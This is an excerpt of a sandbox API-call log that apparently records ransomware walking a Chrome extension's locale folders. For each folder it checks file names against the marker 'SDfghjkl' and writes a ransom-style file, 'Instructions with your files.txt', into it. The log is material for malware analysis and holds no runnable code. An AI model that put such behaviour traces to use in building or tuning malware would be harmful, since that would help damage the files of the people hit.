[0129.238] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.239] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.240] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.240] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.240] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.240] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.241] CloseHandle (hObject=0x134) returned 1
[0129.241] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.241] GetProcessHeap () returned 0x810000
[0129.241] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.241] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
[0129.241] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms") returned 142
[0129.241] GetProcessHeap () returned 0x810000
[0129.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.241] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*") returned 144
[0129.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.241] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\.") returned 144
[0129.241] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.241] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\..") returned 145
[0129.241] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.241] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json") returned 156
[0129.241] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.241] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.241] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\Instructions with your files.txt") returned 175
[0129.241] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.242] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.243] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.243] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.243] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.243] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.243] CloseHandle (hObject=0x134) returned 1
[0129.243] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.243] GetProcessHeap () returned 0x810000
[0129.243] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.243] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0129.243] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl") returned 142
[0129.243] GetProcessHeap () returned 0x810000
[0129.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.243] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*") returned 144
[0129.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.244] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\.") returned 144
[0129.244] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.244] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\..") returned 145
[0129.244] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.244] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 156
[0129.244] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.244] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.244] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\Instructions with your files.txt") returned 175
[0129.245] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.245] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.246] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.246] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.246] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.246] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.246] CloseHandle (hObject=0x134) returned 1
[0129.246] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.246] GetProcessHeap () returned 0x810000
[0129.246] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.246] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
[0129.246] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned 142
[0129.246] GetProcessHeap () returned 0x810000
[0129.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.246] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*") returned 144
[0129.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.247] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\.") returned 144
[0129.247] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.247] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\..") returned 145
[0129.247] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.247] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 156
[0129.247] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.247] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.247] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\Instructions with your files.txt") returned 175
[0129.247] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.247] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.248] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.248] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.248] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.249] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.249] CloseHandle (hObject=0x134) returned 1
[0129.249] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.249] GetProcessHeap () returned 0x810000
[0129.249] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.249] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0129.249] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned 142
[0129.249] GetProcessHeap () returned 0x810000
[0129.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.249] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*") returned 144
[0129.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.250] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\.") returned 144
